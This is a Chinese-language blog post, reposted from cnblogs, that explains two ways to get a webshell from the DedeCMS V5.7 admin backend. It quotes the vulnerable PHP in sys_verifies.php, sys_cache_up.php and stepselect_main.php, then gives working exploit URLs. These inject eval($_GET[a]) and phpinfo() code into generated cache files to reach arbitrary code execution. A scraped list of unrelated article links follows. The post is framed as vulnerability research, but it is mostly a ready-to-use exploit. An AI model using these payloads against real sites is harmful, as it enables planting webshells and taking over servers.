Dedecms V5.7后台的两处getshell
在这个帖子里我把两个洞一起写出来。
第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。
漏洞代码在:/dede/sys_verifies.php 代码如下:
else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作!","sys_verifies.php");
exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, '<'.'?php'."\r\n"); fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n"); $dirs = array(); $i = -1; $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__)); foreach($refiles as $filename) { $filename = substr($filename,3,strlen($filename)-3); if(preg_match("#^dede/#i", $filename)) { $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) ); } else { $curdir = GetDirName($filename); } if( !isset($dirs[$curdir]) ) { $dirs[$curdir] = TestIsFileDir($curdir); } $i++; fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); } fwrite($fp, '$fileConut = '.$i.';'."\r\n"); fwrite($fp, '?'.'>'); fclose($fp); $dirinfos = ''; if($i > -1) { $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">'; $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:<br />\r\n"; foreach($dirs as $curdir) { $dirinfos .= $curdir['name']." 状态:".($curdir['writeable'] ? "[√正常]" : "<font color='red'>[×不可写]</font>")."<br />\r\n"; } $dirinfos .= "</td></tr>\r\n"; } $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n"; include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm'); exit(); }
从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。
全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。
观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();/
此时写入shell成功,触发shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();
任意代码执行了
第二个的思路比第一个稍微绕一点,但也只是绕的有限。
漏洞代码在/dede/sys_cache_up.php处 36行处:
else if($step == 2)
{
include_once(DEDEINC."/enums.func.php");
WriteEnumsCache();
//WriteAreaCache(); 已过期
ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit(); } 跟进WrtieEnumsCache(): function WriteEnumsCache($egroup='') { global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n"); $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC "); $dsql->Execute('enum'); $issign = -1; $tenum = false; //三级联动标识 while($nrow = $dsql->GetArray('enum')) { fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n"); if($issign==-1) $issign = $nrow['issign']; if($nrow['issign']==2) $tenum = true; } if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; "); fwrite($fp,'?'.'>'); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!'; }
可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在:
dede/stepselect_main.php:
else if($action=='addenum_save')
{
if(empty($ename) || empty($egroup))
{
Showmsg("类别名称或组名称不能为空!","-1");
exit(); } if($issign == 1 || $topvalue == 0) $enames = explode(',', $ename); foreach($enames as $ename){ $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC "); if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500); else $disorder = $evalue = $arr['disorder'] + ($issign==1 ? 1 : 500); $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "); } echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "; die(); WriteEnumsCache($egroup); ShowMsg("成功添加枚举分类!".$dsql->GetError(), $ENV_GOBACK_URL); exit(); }
因此传入如下url:
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下:
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok
转载于:https://www.cnblogs.com/WhiteHatKevil/p/10226726.html
Dedecms V5.7后台的两处getshell相关推荐
- php里pluck,Pluck CMS后台另两处任意代码执行
前言 本来是在cnvd上看到了有人发Pluck CMS的洞,但是没有公开细节,便想着自己挖一下. 但是审完第一个后发现已经有两位同学写出来了 当时自己的思路跟第一个同学一样,第二个同学的思路自己确实没 ...
- php中%3c w() %3e,DedeCMS V5.7 SP2后台存在代码执行漏洞
原标题:DedeCMS V5.7 SP2后台存在代码执行漏洞 *本文原创作者:风炫520,本文属FreeBuf原创奖励计划,未经许可禁止转载 简介 织梦内容管理系统(DedeCms)是一款PHP开源网 ...
- php查询后台地址,dedecms 织梦后台查找方法【整理】
换友链感悟,有些逗比开了个换链VIP有了超级申请,就和个逗比一样.什么样的站都去申请,烦的很.自己什么样的站自己都不管理好就出来换链了.随便一查.BR1 词库数量30. 这个都还正常. 再一site/ ...
- DedeCms 5.7后台去除版权及去除广告的方法
这篇文章主要介绍了DedeCms 5.7后台去除版权及去除广告的方法,具有一定借鉴价值,需要的朋友可以参考下.希望大家阅读完这篇文章后大有收获.下面让小编带着大家一起了解一下. DedeCms 5. ...
- 织梦支持html5吗,自动更新HTML FOR DedeCMS V5.3(支持首页,列表页,文章页)
关键字描述:支持 首页 文章 更新 自动 DedeCMS 模块 安装 DedeCMS V5.3的使用方法很简单~~~ 直接用后台的模块安装就可以了.坚决贯彻实施官方的插件模块化,一键安装的理念. 当然 ...
- 织梦dedecms 忘记管理员后台密码的解决技巧
首先进入你的MYSQL后台,然后在你的名用中 找到dede_admin这项如图: 图片1 然后点他右边的 "浏览"按扭 "图右" 图片2 然后会看到下面的图: ...
- dedecms v5.7 整合discuz x3.2 双向同步登录退出(2016年4月2号)
一,先安装织梦与dz论坛,dz安装时,把uc也一起安装.安装好后,进论坛后台,ucenter中心,应用管理,就会看到id号为1的应用,并且通信成功 如果通信不成功.就点击id为1应用,点击 后面的编辑 ...
- dedecms进入mysql后台_DEDECMS 爆严重安全漏洞 免账号密码直接进入后台
入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=in ...
- 织梦cms5.7搭配php哪个版本,DedeCMS V5.5正式版正式发布(Build-0912)
文件类型:.zip 软件大小:4.2MB 下载次数: 软件类别:国产软件 软件语言:简体中文 授权方式:共享软件 运行环境:PHP4.x.5.x + MySQL4.x.5.x 更新时间:2009-09 ...
最新文章
- 2014百度之星 Xor Sum(字典树+贪心)
- vs 2012自带打包工具进行部署安装
- ftp服务器 无线路由器,用无线路由器构建FTP服务器 快乐大家分享
- Html和websocket初识
- 【C/C++开发】C++11 并发指南二(std::thread 详解)
- 智商145!比利时神童9岁读完大学,成史上最年轻大学毕业生
- 全局变量和环境变量的区别
- 使用XmlWriter写XML文件
- 8086汇编语言程序设计
- “圆球池塘”——动态交互作品
- 10.1假期一半总结
- Android 之Google认证GMS详细解剖
- win10 删除删除账户,新的账户中文件资源管理器图标变白 找回方法
- 襄阳联通推“终端+物联网卡+M2M”OA方案
- Lind.DDD.Repositories.Mongo层介绍
- 哈希 ---《哈希函数》------除数的选取为什么是质数?、《哈希冲突》------解决方法、《闭散列》、《开散列》
- 天津高一计算机会考,09天津高中计算机会考复习.doc
- 数位DP POJ3208 Apocalypse Someday
- 关于iPhone屏幕像素和各机型显示的探究
- buu 达芬奇 ROT
热门文章
- FPGA实现VGA显示(四)——————读取ROM显示彩色图片(a)
- html5开发桌面程序调用dll,使用Visual Studio开发Html5应用
- linux思考与实验答案,linux课后习题答案教材课后习题参考答案
- MFC下运行控制台不显示黑屏
- Lighttpd、Nginx 、Apache 隐藏响应头信息的Server信息和版本信息
- adaptec SCSI卡管理和配置选项
- java socket 异步回调函数_浅谈socket同步和异步、阻塞和非阻塞、I/O模型
- hbuilderx的快捷键整理pdf_47个电脑快捷键大全,让你工作提升100倍,一般人我不告诉他...
- ip命令手册: 使用iproute2工具进行路由表管理和路由策略管理
- [读后感] 20170630 产品经理米衙的感悟